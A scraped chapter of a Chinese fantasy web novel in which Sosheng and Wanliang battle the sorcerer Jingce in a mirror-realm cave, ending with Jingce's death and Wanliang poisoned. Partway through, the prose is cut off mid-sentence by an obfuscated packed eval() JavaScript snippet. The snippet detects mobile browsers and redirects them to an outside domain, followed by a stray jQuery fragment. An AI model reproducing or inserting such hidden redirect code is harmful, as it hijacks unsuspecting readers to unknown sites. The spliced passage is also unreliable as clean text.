司梧秋 作品
57. 交战
让她睁大双眼的并不是景策手中聚起的雷光,而是他身后梳妆台的镜子中伸出的手。
黑色的扇子从镜子中穿出,飞过站在景策身前的那些白衣弟子旁,割破了他们的脖颈。景策眼睁睁看着面前的人一个个倒下,不可置信地回头看向身后的梳妆台。
景策回头的同时,同样一只手,从镜子中伸出,抓住了景策的衣摆,借力冲破镜面。
是溯昇。
穿镜而来的溯昇一掌拍在了景策的心口,冲力袭来,原本被景策钳制住的范子清在这一刻脱了手,被溯昇牢牢抓住,只见他双指在范子清额间点了一下,看范子清隐隐有了苏醒的迹象,便将他转手推给了一旁不远处的白灵泽。
见范子清得救,宛凉也不再有顾虑,右手一转,一把银色的细剑出现在她手中,直直像景策的方向攻了过去。
溯昇没有着急上前帮忙,而是在虚空中画了两个一模一样的符打到白灵泽和范子清两人的身上,然后对他们说道:“打坐,沉心静气。”
白灵泽知道,溯昇这是在帮助他们冲破封炁符的封印,他立刻将范子清倚靠在墙上,而自己在他对面坐下,静心打坐。
而一旁的宛凉和景策已经打的难舍难分。虽然宛凉这些年法力精进了不少,但仍旧不是景策的对手,几招下来,隐隐落了下风。
见宛凉落了下风,溯昇立即跟上,蚀骨扇在手中轻转,聚满了魔气,向景策飞去,景策却十分容易的躲了过去。
此时的他已经打起了十二分的精神,他没想到溯昇竟然能这么快就能发现镜中之渊,早知道就不让白袍先走自己断后了。
“怎么?好奇本尊是怎么发现你们藏在镜子里的?”溯昇说道,手中的动作却是不停,蚀骨扇回到手中的那一刻立即又打了上去。
景策没有回应他,一对二的局势导致他无法分心,必须全神贯注,才能及时挡下左右两边的攻击。
“桌子,床,柜子,屏风,全都到处乱放。”溯昇身形一闪,出现在景策身后,蚀骨扇直逼要害。
“只有那个梳妆台,整整齐齐的靠着墙,镜子将洞穴中的一切全部都照了进去,你自己看着不觉得奇怪吗?”
景策手中雷光乍现,一道道雷组合成了一把剑,转身用这把雷光剑挡住了溯昇的进攻,同时左手单手起印,雷光从他手心中迸出,打向溯昇。
溯昇反应也是极快的,一个转身就躲过了这道雷光。
他们三人现下已经过了十多招,而溯昇上次与景策交手的时候,景策也不过就在他的手中走了十多招。
溯昇不得不承认,仅仅三年的时间,景策法术上的进步实在是太大了。
景策逐渐从不停防守改为主动进攻,刹那间腾空而起,浑身散发出耀眼的雷光,点点火光从空中坠落,耀眼的光让在场众人都下意识闭上了眼。
下一秒溯昇就知道他要做什么了,可景策的雷光实在太亮,他根本无法睁眼,只能凭着记忆,移到了那个梳妆镜前,伸手一抓,果不其然抓到了想要逃跑的景策。用力一拉,把已经探入镜子半身的景策又拉了回来。
景策清楚自己一打二的胜率太小了,所以抓紧跑路才是上策,更何况他人被困在山洞,术法无法引来天雷,实力比洞外要弱一些。
但溯昇早就发现了这件事,上次就让他逃了,这次溯昇说什么也要将他除掉,以绝后患。
景策被溯昇一个用力扔在了对面的石壁上,恰巧此时白灵泽也冲破了封炁符,恢复了法力。只有范子清,毕竟他是个只修炼了二十多年的凡人,就算有溯昇帮忙,也无法靠自己的力量冲破这道符。
冲不破就算了,只要不给他们拖后腿就好,范子清乖乖站在洞穴门口的角落中。
“白灵泽,守镜子!”溯昇看见白灵泽冲破封印恢复法力,立刻让他去守住镜子,镜子是唯一的出口,这次无论如何他都不会让景策离开。
被溯昇大力扔在石壁上的景策很快就站了起来,他向着溯昇所在的地方大喊:“溯昇!这是你们逼我的!”
景策调动全身的炁,魔气,灵力,妖力共存与他体内,一通爆发了出来。一团巨大的雷光渐渐将景策的身体包围,他的双眼变得猩红,口中不断发出痛苦的呻吟声。
“他在燃烧身体里的炁!他想炸掉镜中之渊!”熟悉的情景传入宛凉脑海,她想起来了,这一幕她在梦中见过。
在她说完这句话后,瞬间感到心口一痛,好在事情已经在发生,说出这些话也不会受到很严重的伤害。
现下最重要的事阻止景策继续燃烧身体中的炁。溯昇也不慌,学着景策调动身体里的魔气,和许久没有用过的灵力,向着雷光处冲了进去,宛凉也在同一时间提起银剑与他一同上前。
溯昇见宛凉也跟了上来,重新转变了路数,放出了好几个人自己的傀儡小人,声东击西。
白灵泽就一动不动地守在镜前,看向不远处的雷光光团内,其实他什么都看不见,心中有些焦急,却时刻谨记着溯昇的命令,不敢离开一步。
忽得背后一只手搭上了白灵泽的肩,本身就紧张万分的他下意识向背后攻去,却在发力脱手的前一刻想起自己背后是镜中之渊的出入口,若是打碎就出不去了,这才及时收住了法力。
镜子中只伸出了一只手,白灵泽看着这袖口十分眼熟,后才发现这是应殇的衣服,他立刻伸手抓住,将应殇一把拉进镜中之渊。
“尊王呢?”
“你守镜子,我去帮忙。”
两人一齐开口,白灵泽也不等应殇反应过来,就立刻飞身上前,准备进入雷光,却在进入的前一刻停了动作。
眼前的光团逐渐熄灭,黑烟散尽,漏出了其中景象。
溯昇持宛凉的银剑背对众人,宛凉半跪在地,嘴角中还有溢出的鲜血,而最角落中的景策,腹部不断溢出鲜血,拼命挣扎想要站起来,却始终没有力气。
“宛凉神女!”
“宛凉姐。”
白灵泽和范子清一齐向宛凉的放向跑去,一人一边扶起重伤的宛凉。
溯昇将手中的银剑扔回给宛凉,甩了甩刚刚被景策雷光电到发麻的右手,“本尊最后悔的事,就是看在祝余尊后的面上,一次又一次的放过你,纵容你,才间接害死了这么多魔族子民。”
景策听到溯昇的话忍不住发笑,“魔尊真是大义凛然啊?你是魔族人吗?惺惺作态。”
刚才溯昇冲进来的时候,他清楚的看见了溯昇身上的灵力,三年前的疑问终于有了解答。
“都死到临头了还要呛人两句,咳咳!”宛凉眼神狠戾的瞪着他。
是啊!他死到临头了,但那又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068631|158352||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎样呢?
景策脸上漏出怪异的笑容,这笑容让人看的毛骨悚然。
“我死之前,拉几个人给我陪葬可好?”
他话音刚落,众人心中顿感不妙。
之间洞穴中心的炼丹炉疯狂开始抖动,抖动间还产生了一股强大的吸力,将在场的所有人都往炉中吸。
“哈哈哈,哈哈哈哈哈,哈哈哈哈哈哈哈。”
所有人立即结印控制住自己留在原地,范子清没有法力,被那炼丹炉中的吸力吸的向前扑了好一段距离,才被溯昇拉住了后衣领,控制在了原地。
但是除他们以外,角落中,那些一直昏迷不醒的人,还有那些已经被吸炁抽骨的尸体,一个个被吸入了炼丹炉中,被大火焚烧。
“不要!”宛凉挣扎着上前想救那些还活着的人,但炼丹炉的吸力太强,她又身负重伤,别说是她,就是溯昇也只能堪堪救下离他最近是范子清。
就连躺在角落里,用尽最后一丝力气大笑的景策,也在最后被那炼丹炉吸了进去。
就这样持续了大概一炷香的时间,那个炼丹炉停止了抖动,在山洞内炸成了烟花。
所有人都没在说话,过了许久,范子清开口打破了沉默,“他死了……”
景策死了,按道理说解决了一个大麻烦,大家心中都应该松口气才对,但是并没有,他们所有人的心里都是沉甸甸的。
一个时辰前还躺在他们旁边喘气的人,如今都变成了一捧灰。
宛凉瘫软在了地上,看着眼前炸成灰烬的炼丹炉,默默留下了眼泪。
六界间安宁的时间太久了,每天都在吃喝玩乐,所以今天宛凉才发现,她其实是个很脆弱,也很无用的神。她没有救下任何人,甚至要不是溯昇及时赶到,连她自己今天都要折在这。
“三年的时间,景策就能变得这么强。”溯昇喃喃道,“我们真的没有时间了。”
白袍人提前离开了,他们又失去了找到白袍人的线索。虽然捣毁了他的老巢,但他很容易就会东山再起,他们必须要抓紧找到白袍人,不然要不了十年,他在六界,就真的无人能敌了。
溯昇眉头紧皱,最后看了一眼洞穴中那捧灰烬,跟所有人道:“先出去吧。”
与此同时,他们身边的墙壁中传出了窸窸窣窣的声响。没有注意到,只有斜靠在墙壁旁的范子清听到了这细微的声音,感觉到这声音的源头,他顿时脸色大变,大喊一声。
“有机关,小心!”
一枚枚银针从墙壁处射出,每一枚银针上都带着浑浊的黑气,力量之强能穿透厚重的墙壁。
所有人都在一瞬之间反应了过来,连忙躲避,只有重伤在地的宛凉,比他人都慢了一拍。
三枚银针齐齐从墙壁处射出,溯昇立刻施法去拦,但还是慢了一拍。
银针穿透宛凉的身体,浑浊的黑气留在了她的体内肆虐。
同一时间,宛凉口中呕出大片鲜血,本来只是跪坐在地上的她失去了力气,直接倒向地面。
“宛凉!”
“宛凉姐姐。”
范子清立马去搀扶还跌倒在地的宛凉,却在扶上她手臂的那一刻,听到双眼通红,目光涣散的宛凉说了一句话。
“救不了了。”
“白袍人是仙族人,他的后颈上有一条红色的印记。”